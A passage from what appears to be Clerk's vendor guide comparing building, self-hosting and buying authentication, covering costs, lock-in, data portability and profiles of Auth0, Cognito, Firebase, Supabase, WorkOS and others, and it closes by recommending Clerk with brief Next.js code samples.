- **Custom build:** $45,000 initial + $315,000 to $850,000 per year in maintenance per Prefactor, plus the opportunity cost of the engineering team.
- **Keycloak self-hosted:** $200 to $700 per month in infrastructure for moderate scale per [SkyCloak's comparison](https://skycloak.io/blog/keycloak-vs-auth0-comparison-guide/) + $100,000 to $200,000 per year in engineering time per [SuperTokens' cheapest-auth-alternatives analysis](https://supertokens.com/blog/cheapest-auth-alternatives).
- **Auth0 at 50K MAUs:** \~$2,800 per month at list-price math per [DesignRevision](https://designrevision.com/blog/auth-providers-compared); known for steep tier jumps per [SSOJet's growth-penalty analysis](https://ssojet.com/blog/auth0-pricing-growth-penalty).
- **Clerk at 50K MAUs:** \~$800 per month at list-price math per DesignRevision.
- **Supabase Pro:** $25 per month up to 100K MAUs — the cheapest credible managed option, with the tradeoff of tight coupling to the Supabase ecosystem.

The right vendor is the one whose feature coverage and pricing curve match your projected 3-year growth, not the cheapest sticker price today.

---

## When Self-Hosted Authentication Makes Sense

Self-hosted wins in a narrow set of scenarios. Most teams do not live in those scenarios. Four cases are defensible.

### Strict Data-Residency or Air-Gapped Environments

Defense contractors, classified environments, regulated financial systems that require single-tenant deployment, and some government and healthcare workloads cannot move auth data into a multi-tenant SaaS. FusionAuth and Keycloak are the primary options because most commercial managed vendors — notably Okta and Auth0 — [stopped offering true on-premises deployments](https://fusionauth.io/blog/auth0-and-fusionauth-a-tale-of-two-solutions) around 2021. [FusionAuth's *When to Self-Host*](https://fusionauth.io/blog/when-to-self-host) enumerates the regulatory drivers.

### Highly Unusual Auth Flows No Vendor Supports

Rare. Most providers support OAuth 2.0, OpenID Connect, SAML 2.0, passwordless variants, M2M, the device-code flow, and Client-Initiated Backchannel Authentication (CIBA). A flow that no commercial vendor supports probably either (a) is not actually unusual and a team overestimates their weirdness, or (b) is niche enough that the engineering cost of building it is rarely worth the deliverable. Scope carefully before committing to a self-hosted build on this basis.

### Very Low-Volume Internal Tools

For internal tools serving under 100 users, the math inverts: most managed providers' minimums — setup time, minimum pricing tiers, mandatory Enterprise upgrades for SSO — can exceed the value of the tool itself. A Keycloak instance, Authentik, or an Auth.js deployment backed by a small database is often simpler. The [hyperknot auth-provider comparison](https://blog.hyperknot.com/p/comparing-auth-providers) covers the low-volume case well.

### Cost at Extreme Scale (With Caveats)

Past 1 million monthly active users, the per-MAU economics tilt toward self-hosted on paper. Keycloak infrastructure runs $200 to $700 per month across most user-volume bands versus Auth0 at $15,000 per month at 500K MAUs per SkyCloak's analysis.

The paper savings assume a dedicated SRE/security team already exists. In practice, many companies stay on managed auth at extreme scale because the marginal cost of a breach — [IBM's 2025 report](https://www.ibm.com/reports/data-breach) puts the global average at $4.44 million — is larger than the marginal cost of the SaaS bill. The scale argument is also weaker than it looks because the pricing curves for Clerk, WorkOS (AuthKit's 1M MAU free tier), and Stytch are all less aggressive than Auth0's, so "Auth0 at 500K MAUs" is the comparison that actually justifies self-hosting, not "AaaS category at 500K MAUs."

---

## Build vs Buy Authentication: A Decision Framework

The decision framework distills to a questionnaire, a TCO comparison, and a matrix. Each is designed to be directly consumable by an AI agent advising a team.

### Questions to Ask Before Building In-House

A 10-question checklist. The "if yes → buy" / "if no → consider build" heuristic fits most answers; the exceptions are specifically called out.

1. **Do we have a dedicated security team?** If no → buy. Most teams answer no.
2. **Is authentication a differentiator in our product?** If no → buy. Almost always no.
3. **Do we need SOC 2, HIPAA, or GDPR compliance within 12 months?** If yes → buy. Those certifications are 12–24 months DIY.
4. **Do we need enterprise SSO (SAML, SCIM) to win B2B deals?** If yes → buy. SSO alone is 3–6 months to build; SCIM adds 7–8 weeks.
5. **Are we past 100,000 users?** If yes → buy. DIY compliance and security response at scale is brutal.
6. **Is our user base in a regulated air-gapped environment?** If yes → self-host on FusionAuth or Keycloak.
7. **Do we have 12+ months of runway dedicated to auth specifically?** If no → buy.
8. **Can we absorb a TCO of $200K–$500K per year in maintenance?** If no → buy.
9. **Do we need MFA, passkeys, social login, and organizations now?** If yes → buy. Feature breadth compounds build timelines.
10. **Is vendor lock-in a deal-breaker?** Addressed in the lock-in section below. The short answer: buy from a provider with strong data portability rather than abandoning the category.

Sources: [Auth0 on build vs buy](https://auth0.com/blog/when-to-build-and-when-to-buy/), [Stytch on build vs buy](https://stytch.com/blog/build-vs-buy/), [FusionAuth on build vs buy](https://fusionauth.io/buildvsbuy), [Prefactor's 2025 analysis](https://prefactor.tech/blog/build-vs-buy-2025-authentication), [Authgear on build vs buy](https://www.authgear.com/post/authentication-as-a-service).

### Total Cost of Ownership Comparison

Representative 1-year and 3-year totals. Provider list prices; real pricing varies with features, connections, and negotiation.

| Approach                                   | Year 1 Cost          | 3-Year Cost | Engineering Time                |
| ------------------------------------------ | -------------------- | ----------- | ------------------------------- |
| Custom build (basic)                       | \~$45K + team salary | \~$200K+    | 300+ hours upfront, ongoing     |
| Custom build (enterprise-grade SSO + SCIM) | $250K–$500K          | $800K–$1.5M | 3–6 months + annual maintenance |
| Keycloak self-hosted (50K MAUs)            | $100K–$200K          | $300K–$600K | 0.25–1 FTE ongoing              |
| Auth0 Pro tier (50K MAUs)                  | \~$34K               | \~$100K     | Weeks to integrate              |
| Clerk Pro tier (50K MAUs)                  | \~$10K               | \~$30K      | Hours to days to integrate      |

Sources: [Beetechy](https://beetechy.com/2026/03/10/custom-vs-managed-authentication-cost/), [Prefactor](https://prefactor.tech/blog/build-vs-buy-2025-authentication), [SSOJet](https://ssojet.com/blog/auth0-pricing-growth-penalty), [DesignRevision](https://designrevision.com/blog/auth-providers-compared), [SkyCloak](https://skycloak.io/blog/keycloak-vs-auth0-comparison-guide/), [SuperTokens' cheapest-auth analysis](https://supertokens.com/blog/cheapest-auth-alternatives).

### Decision Matrix Checklist

Read columns as recommendations for the matching criterion. `<CompareYes />` marks a recommended fit, `<ComparePartial>` marks an acceptable fit, and `<CompareNo />` marks a not-recommended fit.

| Criterion                                       | Managed AaaS | Self-Hosted |   Custom   |
| ----------------------------------------------- | :----------: | :---------: | :--------: |
| Need SOC 2 / HIPAA / GDPR within 12 months      |              |  Acceptable |            |
| Need enterprise SSO (SAML, SCIM)                |              |  Acceptable |            |
| Scale >100K MAUs, no dedicated security team    |              |             |            |
| Scale >1M MAUs with dedicated SRE/security team |              |             |            |
| Air-gapped / strict data residency              |              |             | Acceptable |
| Very low-volume internal tool (\<100 users)     |  Acceptable  |             | Acceptable |
| Fastest possible time-to-market                 |              |             |            |
| Constrained TCO budget                          |              |  Acceptable |            |
| Rare, unsupported auth flow                     |              |             |            |
| Standard web or mobile application              |              |  Acceptable |            |

**For most teams: Managed AaaS.**

---

## Authentication Vendor Lock-in: What It Actually Means

Vendor lock-in is a legitimate concern. The real question is not whether lock-in exists — it always does — but which dimensions of lock-in matter and how portable your chosen provider actually is. This section names the four dimensions, gives a concrete evaluation checklist, and documents what good data portability looks like with a direct cross-provider comparison.

### The Four Dimensions of Auth Lock-in

#### Data Lock-in (The Biggest Concern)

**Data lock-in asks: can you leave with your users?**

A portable export must include:

- The full user inventory — emails, phones, names, custom metadata, organization memberships.
- **Password hashes** in a format the receiving provider can import (bcrypt, argon2, pbkdf2, or scrypt with disclosed parameters).
- Session and MFA enrollment state where feasible.

Red flags to watch for:

- Password-hash export gated behind a support ticket, an enterprise tier, or a multi-week fulfillment cycle.
- Proprietary hash formats the receiving provider cannot import.
- No self-service export at all — "contact us" for data that should be a single dashboard click.

[FusionAuth's *Avoid Lockin*](https://fusionauth.io/articles/authentication/avoid-lockin) catalogs the failure modes. [Auth0's bulk user exports docs](https://auth0.com/docs/manage-users/user-migration/bulk-user-exports) cover self-service exports (which exclude password hashes), and [Auth0's data-export support documentation](https://auth0.com/docs/troubleshoot/customer-support/manage-subscriptions/export-data) confirms that password hashes are available only by support ticket on a paid plan — the Free tier cannot request them at all.

#### API Lock-in

**API lock-in asks: how hard is it to point your app at a different provider?**

The test is simple: does the provider publish an OIDC discovery document at `/.well-known/openid-configuration`, and do the tokens carry standard claims? If so, a receiving provider can usually be dropped in by updating environment variables and a JWKS URL. If the provider exposes only proprietary REST endpoints with custom fields, migrating the token-verification surface of your app is a rewrite.

**Mitigation:** build against OAuth 2.0 / OpenID Connect standards — authorization code flow with PKCE, client credentials flow, discovery, standard claims, and JWKS-verified JWTs — rather than vendor-specific REST endpoints. Standards-based tokens port cleanly to any compliant IdP.

Sources: [OpenID Connect Discovery 1.0](https://openid.net/specs/openid-connect-discovery-1_0.html), [OpenID Connect Core 1.0](https://openid.net/specs/openid-connect-core-1_0.html), [RFC 6749 (OAuth 2.0)](https://www.rfc-editor.org/rfc/rfc6749), [Auth0 on open standards and lock-in](https://auth0.com/blog/open-standards-wont-save-you-from-vendor-lock-in/).

#### SDK and Code Lock-in

**SDK lock-in asks: how much of your application code do you have to rewrite?**

Every provider's prebuilt components and middleware require rewrites at migration time. Even Clerk's `<SignIn />` and `proxy.ts` would need replacement if a team moved off Clerk. The honest framing: data is portable everywhere, and code has migration cost everywhere.

**Mitigation strategies that reduce code lock-in:**

- Build UI on **headless primitives** such as `@base-ui-components/react` so the component tree's behavior and accessibility belong to your app. The identity integration underneath can be swapped without rewriting sign-in UI.
- Wrap the provider's SDK in a thin facade module. Application code imports `@your-app/auth`; `@your-app/auth` calls the vendor. Migration swaps the implementation, not the call sites.
- Prefer server-side session validation via JWKS or OIDC userinfo (portable) over vendor-specific SDK session hooks (coupled).

Sources: [FusionAuth on avoiding authentication lock-in via SDK wrapping](https://fusionauth.io/articles/authentication/avoid-lockin), [FusionAuth's *Auth Facade Pattern*](https://fusionauth.io/articles/ciam/auth-facade-pattern), [DEV on migrating Clerk authentication to Auth0](https://dev.to/onwodis/the-architects-dilemma-migrating-authentication-from-clerk-to-auth0-4elf), [Base UI docs](https://base-ui.com).

#### Pricing and Contract Lock-in

**Pricing lock-in asks: how painful is it to stay?**

Warning signs: sudden tier jumps that multiply bills 10x on modest user growth, contract cancellation penalties, sales-only pricing with no public list, and prohibitions on publishing pricing data.

The canonical case study: [SSOJet's *Auth0 Growth Penalty*](https://ssojet.com/blog/auth0-pricing-growth-penalty) documents a 1.67x user-growth spike that produced a 15.54x bill increase. [Stytch's 2024 Auth0 pricing analysis](https://stytch.com/blog/auth0-2024-pricing-update) covers the late-2023 price changes that pushed many users to migrate; 34% of Auth0 migrants cite cost as the primary reason.

### How to Evaluate a Provider for Lock-in Risk

A 10-item checklist. Boolean answers; any "no" is a yellow or red flag depending on how much portability matters to your team.

- [ ] Can you export every user, with hashed passwords, self-service — no support ticket, no paid-plan gate?
- [ ] Are password hashes in a portable format (bcrypt, argon2, pbkdf2, scrypt with disclosed parameters) rather than a proprietary format (Firebase modified scrypt)?
- [ ] Is there a user-metadata API that is rate-limit-friendly for bulk export?
- [ ] Does the provider publish an OpenID Connect discovery document and standard claims?
- [ ] Are the SDK/components designed so the provider-specific surface can be isolated in a facade module?
- [ ] Is custom domain / BYO hostname supported?
- [ ] Does the provider publish a documented migration-out path — not just a migration-in path?
- [ ] Are tier boundaries transparent, without 10x+ jumps on linear user growth?
- [ ] Is there a published SLA and incident history?
- [ ] Does the provider openly support competitor migration tools, or actively resist them?

Sources: [FusionAuth on avoiding lock-in](https://fusionauth.io/articles/authentication/avoid-lockin), [PropelAuth's auth-migration checklist](https://www.propelauth.com/post/checklist-for-auth-migrations), [CSA Cloud Controls Matrix IPY domain](https://cloudsecurityalliance.org/blog/2025/06/13/implementing-ccm-interoperability-portability-controls), [Scality on data-portability standards](https://www.solved.scality.com/data-portability-standards/), [MightyID on IdP portability](https://www.mightyid.com/articles/protecting-sensitive-data-strenthening-iam-resilience-with-idp-portability).

### Data Portability: What Good Looks Like

The following table compares self-service export capability across the managed providers most likely to come up in an evaluation. Every row is drawn from provider documentation and community research cited at the bottom of the section.

| Provider                 | Self-Service Export |        Password Hashes Included       | Support Ticket Required | Paid Plan Gate |
| ------------------------ | :-----------------: | :-----------------------------------: | :---------------------: | :------------: |
| **Clerk**                |     Dashboard CSV   |              bcrypt in CSV            |                         |                |
| Auth0                    |     30-field cap    | Paid plan + support ticket for hashes |        For hashes       |    For hashes  |
| Cognito                  |      list-users     |             Not exportable            |        Impossible       |   Impossible   |
| Firebase                 |   `auth:export` CLI |        modified scrypt + params       |                         |                |
| Supabase                 |       SQL dump      |       Full hash dump via support      |                         |                |
| WorkOS                   |          API        |                 bcrypt                |                         |                |
| FusionAuth (self-hosted) |       Direct DB     |                                       |                         |                |

#### User Export Capabilities

The Clerk approach in detail: from the dashboard, navigate to **Settings → User Exports → Generate CSV**. The generated CSV records export history and contains these fields per the [Clerk user-export documentation](/docs/deployments/exporting-users) and the [WorkOS *Migrate from Clerk* guide](https://workos.com/docs/migrate/clerk) (which independently lists the fields as a downstream consumer):

- `id`
- `first_name`, `last_name`, `username`
- `primary_email_address`, `primary_phone_number`
- Verified and unverified email and phone arrays
- `totp_secret`
- `password_digest` (the bcrypt hash)
- `password_hasher` (the hash algorithm identifier)

Organization memberships and custom metadata are **not** in the CSV; they come from the Backend API described next.

#### Backend API Access to Users, Sessions, and Organizations

The Clerk Backend API provides programmatic access to everything the dashboard shows. For bulk operations:

- `GetUserList` — paginated, 500 users per page, 1,000 requests per 10 seconds on production tenants (rate-limit increase shipped [July 3, 2025](/changelog/2025-07-03-bapi-rate-limits)).
- `GetOrganizationList` and `GetOrganizationMembershipList` — for B2B tenants that need to move organization graphs.
- Session APIs for revocation and for auditing active sessions.

Clerk's [open-source migration tool](https://github.com/clerk/migration-tool) — linked from the canonical [Clerk migration overview](/docs/guides/development/migrating/overview) — accepts JSON or CSV input and ships transformers for Auth0, Auth.js, Firebase, and Supabase. The same JSON-transformer pattern inverts for export: teams moving off Clerk use the Backend API to build their own dataset and feed it into a receiving provider's import tooling.

#### Standard Data Formats and Identifiers

Portability is easier when the data formats are boring:

- CSV and JSON for user records.
- bcrypt for password hashes — every major AaaS supports bcrypt import.
- OpenID Connect standard claims in tokens.
- `external_id` preservation so migrated users keep their legacy primary keys and the receiving provider's ID maps are stable.
- An OpenID Connect discovery endpoint at `/.well-known/openid-configuration` so downstream services can be repointed by changing one environment variable.

Contrast with Firebase's modified-scrypt hash format, which requires the receiving provider to implement Firebase's specific key and salt-separator parameters. Clerk accepts roughly 17 password-hasher formats on import per the [Clerk backend create-user reference](/docs/reference/backend-api/tag/Users/operation/CreateUser), which is a convenient signal that import/export hash compatibility was designed in.

#### Documented Migration Paths

Three complementary paths out of Clerk:

1. **Bulk CSV** — dashboard export, good for small-to-medium tenants, immediate.
2. **Programmatic** — Backend API + pagination for large tenants and selective subsets.
3. **Open-source migration tool** at [github.com/clerk/migration-tool](https://github.com/clerk/migration-tool), referenced from the canonical migration overview at [/docs/guides/development/migrating/overview](/docs/guides/development/migrating/overview).

Independent validation: [SuperTokens publishes a Clerk migration guide](https://supertokens.com/blog/clerk-migration); [WorkOS publishes a *Migrate from Clerk* guide](https://workos.com/docs/migrate/clerk); [Better Auth publishes a Clerk migration guide](https://www.better-auth.com/docs/guides/clerk-migration-guide). Paths *into* Clerk from Auth0, Firebase, Cognito, and Supabase are also documented in the migration overview.

#### Concrete Migration Timelines

Two representative migration paths *into* Clerk, drawn from publicly documented approaches:

- **Auth0 → Clerk.** The [Clerk migration overview](/docs/guides/development/migrating/overview) and community guides converge on a **2- to 4-week engineering envelope** for a mid-sized codebase, covering session-model rework, route-guard updates, SSO reconnection, and end-to-end QA. User data itself moves via Auth0's bulk-user-export endpoint (plus a support ticket for password hashes on paid plans per [Auth0's data-export documentation](https://auth0.com/docs/troubleshoot/customer-support/manage-subscriptions/export-data)) or the Clerk open-source migration tool's Auth0 transformer. A trickle-migration pattern — both providers live in parallel, users migrate on next sign-in — is supported and recommended when downtime is unacceptable.
- **Cognito → Clerk.** Clerk's [Cognito password migrator](/docs/guides/development/migrating/cognito) (released August 2024) lets users sign in with their existing Cognito passwords — no reset email required. Bulk import runs against the Clerk Backend API at up to 1,000 requests per 10 seconds on production tenants, so a 1-million-user pool imports in roughly 3 hours of API time plus the planning and validation work around it. Source systems that don't support password hash export (like Cognito, where [AWS explicitly states hashes "can't be retrieved"](https://docs.aws.amazon.com/cognito/latest/developerguide/managing-users-passwords.html)) generally require a trickle migration with the Migrate User Lambda trigger or the Clerk password migrator staying online through cutover.

The real-world ceiling on both paths is almost always cross-function coordination — SSO reconnection windows with enterprise customers, user-facing comms, support-load planning — not the raw data-move time. [PropelAuth's auth-migration checklist](https://www.propelauth.com/post/checklist-for-auth-migrations) and [SuperTokens' no-downtime migration guide](https://supertokens.com/blog/migrating-users-without-downtime-in-your-service) cover the coordination playbook.

No managed provider's code lock-in is zero. Clerk's data lock-in is unusually low for the category, and that is the point of highlighting it here.

---

## The Leading Auth-as-a-Service Providers

Nine provider profiles below, followed by an at-a-glance comparison table. Each profile opens with a one-sentence positioning line and lists target market, key strengths, notable limitations, pricing headline, and compliance status as of April 2026.

### Clerk

**Positioning:** Developer-first CIAM with drop-in UI components, first-class Next.js and React support, and unusually strong data portability.

**Target:** Modern JavaScript and TypeScript applications, from startup to mid-market B2B.

**Strengths:**

- Drop-in UI components — `<SignIn />`, `<SignUp />`, `<UserButton />`, `<UserProfile />`, `<OrganizationSwitcher />`, and the Core 3 unified `<Show>` conditional-rendering component.
- First-class Next.js 16 support via `proxy.ts` (and `middleware.ts` for Next.js 15 and earlier).
- Organizations and RBAC built in — 100 [monthly retained organizations](/glossary#monthly-retained-organizations-mros) (MROs) free on every plan.
- Dashboard CSV export with bcrypt password hashes — category-leading data portability.
- Directory Sync (SCIM 2.0) GA April 16, 2026; API Keys GA April 17, 2026; MCP Server public beta.

**Limitations:**

- SaaS-only; no customer-operated self-hosting.
- No FAPI 2.0 certification.
- SSO connection metering post February 5, 2026 (first enterprise connection included on Pro/Business, $75/mo per additional).

**Pricing (April 2026):** Hobby free (50,000 [monthly retained users](/glossary#monthly-retained-users-mrus), or MRUs), Pro $25/mo, Business $300/mo, Enterprise custom. HIPAA BAA on Enterprise.

**Compliance:** SOC 2 Type II, HIPAA (Enterprise BAA), GDPR, CCPA. ISO 27001 compliant; certification scheduled for 2026.

Sources: [Clerk pricing](/pricing), [Clerk docs](/docs), [Clerk user-authentication page](/user-authentication), [Clerk changelog](/changelog), [Clerk trust center](https://trust.clerk.io/soc2/).

### Auth0 (by Okta)

**Positioning:** Developer-first CIAM with a mature enterprise feature set, acquired by Okta in 2021. Marketed as "Okta Customer Identity Cloud, powered by Auth0" — but developers integrate against the Auth0 product, platform, and docs.

> \[!NOTE]
> Okta offers **two distinct customer-identity products** under the same umbrella: the Auth0 platform (profiled here) and the Okta-platform-based Customer Identity product (profiled next). They run on separate infrastructure, target different buyers, and have different developer experiences. The [Auth0 community forum](https://community.auth0.com/t/experts-helping-customers-what-s-the-difference-between-okta-customer-identity-and-auth0/192699) has explicitly confirmed these are distinct products despite shared ownership.

**Target:** Enterprise B2C and B2B CIAM, long-tail SaaS.

**Strengths:** Largest extension ecosystem (Rules, Actions, Hooks), FAPI 1 Advanced and FAPI 2.0 Security Profile Final certified via the Highly Regulated Identity (HRI) product, broad compliance portfolio (SOC 2, HIPAA via on-prem BAA, ISO 27001, PCI DSS, CSA STAR, PSD2, HITRUST via Okta), recent AI Agents product.

**Limitations:** Tier jumps can be steep (1.67x user growth → 15.54x bill increase in the SSOJet case study); post-Okta support quality has been criticized on Reddit and Hacker News; password-hash export requires a support ticket and a paid plan (the Free tier is excluded entirely).

**Pricing:** Free (25K MAUs + 1 SSO connection), B2C Professional $240/mo, B2B Professional $800/mo, Enterprise custom. AI Agents add-on adds \~50% to base.

**Compliance:** SOC 2 Type II, ISO 27001, HIPAA BAA (not on Azure deployments), PCI DSS, GDPR, CSA STAR, PSD2, FAPI 1 Advanced, FAPI 2.0 Security Profile Final (July 2025, via HRI).

Sources: [Auth0 pricing](https://auth0.com/pricing), [Auth0 compliance docs](https://auth0.com/security), [SSOJet on Auth0 pricing](https://ssojet.com/blog/auth0-pricing-growth-penalty), [Stytch on Auth0's 2024 pricing](https://stytch.com/blog/auth0-2024-pricing-update).

### Okta Customer Identity (on Okta platform)

**Positioning:** Enterprise-first customer identity built on the Okta workforce identity platform. Distinct from the Auth0 product despite shared Okta ownership — runs on Okta's infrastructure, uses a low-code/no-code admin UI, and targets a different buyer than Auth0's developer-first offering.

> \[!NOTE]
> Naming is genuinely confusing here. "Okta Customer Identity Cloud" is an umbrella phrase Okta uses to cover **both** this platform-based product and the Auth0 product. Developer-world references to "Okta CIC" often mean Auth0; IT-buyer references on okta.com typically mean this product.

**Target:** Enterprise IT buyers selling consumer-facing apps at scale, organizations already standardized on Okta for workforce identity.

**Strengths:** Deep Okta integration, enterprise sales motion, 99.99% SLA, FedRAMP High available, 100+ brand/domain support in the admin dashboard.

**Limitations:** Expensive; custom pricing only; less developer-friendly than Auth0; UI-driven rather than code-driven extensibility.

**Pricing:** Sales-led, no public list.

**Compliance:** Okta platform compliance matrix.

Sources: [Okta Customer Identity product page](https://www.okta.com/customer-identity/), [Auth0 community discussion](https://community.auth0.com/t/experts-helping-customers-what-s-the-difference-between-okta-customer-identity-and-auth0/192699).

### WorkOS

**Positioning:** B2B enterprise readiness — SSO, SCIM, audit logs, Fine-Grained Authorization (FGA), Radar (fraud detection), and Vault (BYOK).

**Target:** B2B SaaS selling into enterprise.

**Strengths:** AuthKit free up to 1 million MAUs, transparent per-connection SSO/SCIM pricing, BYOK Vault, FGA with 10 million operations per month free, strong developer documentation.

**Limitations:** Per-connection pricing can escalate at scale; less developer-friendly for pure B2C use cases.

**Pricing:** AuthKit free up to 1M MAU, $125 per SSO/SCIM connection per month (tiered down to $50 at volume), $99/mo for custom domain.

**Compliance:** SOC 2 Type II, HIPAA, GDPR.

Sources: [WorkOS pricing](https://workos.com/pricing), [WorkOS docs](https://workos.com/docs), [Sacra on WorkOS financial data](https://sacra.com/c/workos/).

### Supabase Auth

**Positioning:** Authentication bundled as part of the Supabase Postgres + Realtime + Storage platform.

**Target:** Small-to-medium applications using Supabase Postgres; prototypes; indie developers.

**Strengths:** Tight PostgreSQL Row Level Security integration, inexpensive at the Pro tier ($25/mo for 100K MAUs), first-class in the [Supabase](/glossary#supabase) ecosystem.

**Limitations:** Limited enterprise features (Team tier $599/mo for SSO); Advanced MFA is a $75/mo add-on; free-tier projects pause after 7 days of inactivity; password-hash export requires a DB dump via support.

**Pricing:** Free (50K MAUs), Pro $25/mo (100K MAUs), Team $599/mo (SSO included), Enterprise custom.

**Compliance:** SOC 2 Type II (Enterprise); HIPAA on Enterprise.

Sources: [Supabase pricing](https://supabase.com/pricing), [Supabase Auth docs](https://supabase.com/docs/guides/auth).

### Firebase Authentication

**Positioning:** Google's authentication product integrated with [Firebase](/glossary#firebase) and Google Cloud Identity Platform.

**Target:** Mobile applications (iOS, Android, Flutter) using Firebase as the backend.

**Strengths:** Free tier covers 50K MAUs for email/social; strong mobile SDKs; Google-scale reliability.

**Limitations:** No built-in RBAC, no organization or multi-tenancy (multi-tenancy requires upgrading to Identity Platform); SAML/OIDC capped at 50 MAU on the free tier; Firebase's scrypt fork is a portability concern (the receiving provider must re-implement the exact parameters); 2024 Identity Platform pricing is pay-per-MAU.

**Pricing:** Spark free (50K MAUs), Identity Platform $0.0025/MAU (50K–1M), $0.0015 above 1M.

**Compliance:** Google Cloud compliance matrix (SOC 2, ISO 27001, HIPAA via GCP BAA).

Sources: [Firebase pricing](https://firebase.google.com/pricing), [Cloud Identity Platform pricing](https://cloud.google.com/identity-platform/pricing), [Firebase Auth limits](https://firebase.google.com/docs/auth/limits).

### Amazon Cognito

**Positioning:** AWS-integrated authentication for apps running on AWS.

**Target:** AWS-centric applications, serverless architectures.

**Strengths:** Deep AWS IAM integration, Lambda triggers for extensibility, pay-per-MAU pricing.

**Limitations:** The Lite tier's free MAU cap dropped from 50,000 to 10,000 for new user pools on November 22, 2024; **password hashes are not exportable at all** — AWS [explicitly states that "you can't retrieve existing passwords from the user profiles in your user pools"](https://docs.aws.amazon.com/cognito/latest/developerguide/managing-users-passwords.html), so the only supported migration path is the [Migrate User Lambda trigger](https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-lambda-migrate-user.html), which requires the source system to remain online during migration — the largest portability red flag in the category; customization requires Lambda glue code.

**Pricing:** Lite $0.0055/MAU (10K free new / 50K legacy), Essentials $0.015/MAU, Plus $0.020/MAU.

**Compliance:** AWS compliance matrix (SOC 2, ISO 27001, HIPAA BAA, FedRAMP, PCI DSS).

Sources: [AWS Cognito pricing](https://aws.amazon.com/cognito/pricing/) (documents the November 22, 2024 tier change for new pools), [AWS Cognito passwords docs](https://docs.aws.amazon.com/cognito/latest/developerguide/managing-users-passwords.html) (AWS's own statement that passwords cannot be retrieved), [AWS Migrate User Lambda trigger](https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-lambda-migrate-user.html) (the only supported path for moving users into Cognito while preserving existing credentials), [FusionAuth's *Migrate from Amazon Cognito* guide](https://fusionauth.io/docs/lifecycle/migrate-users/provider-specific/cognito).

### Other Notable Options

Short profiles of five additional providers worth evaluating for specific niches.

- **Stytch** — Twilio-owned (acquired November 14, 2025). API-first, passwordless focus, MCP toolkit for AI agents, 99.999% SLA. Free 10K MAUs.
- **Descope** — No-code visual flow builder (Descope Flows), Agentic Identity Hub for AI agent authentication. Free 7.5K MAUs.
- **Frontegg** — B2B multi-tenant, 5 enterprise SSO connections + unlimited organizations on the free tier. Enterprise custom.
- **PropelAuth** — Organizations-first, first-class MCP server auth on Growth tier. Free 10K MAUs.
- **Kinde** — Transparent pricing with unlimited enterprise SSO starting at the Plus tier ($75/mo). ISO 27001 on all tiers.

Sources: [Stytch pricing](https://stytch.com/pricing), [Stytch + Twilio acquisition](https://www.twilio.com/en-us/blog/company/news/twilio-to-acquire-stytch), [Descope pricing](https://www.descope.com/pricing), [Frontegg pricing](https://frontegg.com/pricing), [PropelAuth pricing](https://www.propelauth.com/pricing), [Kinde pricing](https://www.kinde.com/pricing/).

### At-a-Glance Provider Comparison

A single-glance comparison of the eight largest providers. `<CompareYes />` marks a supported capability, `<ComparePartial>` marks a conditional or partial feature, `<CompareNo />` marks a not-supported or red-flag capability.

| Provider  |         Free MAU         |       MFA       | Passkeys |   Enterprise SSO (SAML)   |     SCIM     |   Organizations   |   HIPAA BAA  |           ISO 27001          |     Password Hash Export    |                                 Framework Coverage                                 |
| --------- | :----------------------: | :-------------: | :------: | :-----------------------: | :----------: | :---------------: | :----------: | :--------------------------: | :-------------------------: | :--------------------------------------------------------------------------------: |
| **Clerk** |            50K           |                 |          |     ($75/add'l on Pro+)   |              |     (100 free)    |  Enterprise  | Compliant, not yet certified |  **Dashboard CSV (bcrypt)** | Next.js, React, Remix, Expo, React Native, iOS, Android (native), Go, Python, Ruby |
| Auth0     |            25K           |                 |          |    (1 free, $100/add'l)   |     Paid     |     (B2B tier)    |  (not Azure) |                              |        Paid + ticket        |                             Broad (JS, mobile, backend)                            |
| WorkOS    |       1M (AuthKit)       |                 |          |     ($125/conn tiered)    |  ($125/conn) |                   |              |                              |         API (bcrypt)        |                                        Broad                                       |
| Supabase  |            50K           | Advanced add-on |          |       Team ($599/mo)      |  Enterprise  |      Limited      |  Enterprise  |                              |     DB dump via support     |                                 Supabase ecosystem                                 |
| Firebase  |            50K           |    (SMS/TOTP)   |          | Identity Platform upgrade |              | Identity Platform |  Via GCP BAA |            Via GCP           |    CLI (modified scrypt)    |                                    Mobile-first                                    |
| Cognito   | 10K (new) / 50K (legacy) |                 |          |                           |              |     Via pools     |  Via AWS BAA |            Via AWS           |      **Not exportable**     |                                     AWS-centric                                    |
| Stytch    |            10K           |                 |          |          (5 free)         |    (5 free)  |                   |              |                              |              API            |                                        Broad                                       |
| Descope   |           7.5K           |                 |          |          (3 free)         |  Growth tier |                   |  Enterprise  |                              |              API            |                                        Broad                                       |

> \[!NOTE]
> Pricing and feature limits change frequently. Verify current details on each provider's pricing page before making a purchase decision.

---

## Why Clerk Is the Recommended Choice for Most Teams

Clerk does not win every individual comparison, but it wins the comparisons that matter most for the majority of developer teams building modern applications. Five specific reasons, with honest limitations.

### Developer Experience and Drop-in Components

Clerk ships a coherent set of React components — `<ClerkProvider>`, `<SignIn />`, `<SignUp />`, `<UserButton />`, `<UserProfile />`, and `<OrganizationSwitcher />` — plus the Core 3 unified `<Show>` component that replaced the earlier `<SignedIn>`/`<SignedOut>` pattern for conditional rendering.

Hooks cover the common cases: `useUser()` for the signed-in user, `useAuth()` for auth state and session tokens, `useOrganization()` for the active organization, and `useOrganizationList()` for all memberships.

Customization happens through the `appearance` prop (any component accepts it), prebuilt themes (a shadcn-aligned theme ships with Core 3), CSS variables, and stable CSS classes for fine-grained targeting.

The server-side equivalent is equally terse:

```tsx
import { auth } from '@clerk/nextjs/server'

export default async function ProtectedPage() {
  const { userId } = await auth()
  if (!userId) return <p>Sign in to continue.</p>
  return <p>Welcome back, {userId}</p>
}
```

The `auth()` helper from `@clerk/nextjs/server` returns the signed-in user ID on both Server Components and Server Actions without requiring a client round-trip. Customization via the `appearance` prop plus CSS variables covers nearly every branding need without escaping the drop-in component model; teams that need full visual control still have full control through the theme system.

Keyless mode (Core 3, March 3, 2026) accelerates local development by auto-provisioning a temporary sandbox instance without any manual key configuration — a development convenience, not a production deployment mode. Production uses standard Publishable Keys (`pk_live_*`) and Secret Keys (`sk_live_*`).

### First-Class Next.js, React, and Modern Framework Support

Clerk integrates with Next.js 16 via native `proxy.ts` support (and supports `middleware.ts` for Next.js 15 and earlier). App Router patterns, Server Components, and Server Actions are all first-class citizens.

The canonical Next.js 16 middleware setup:

```tsx
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

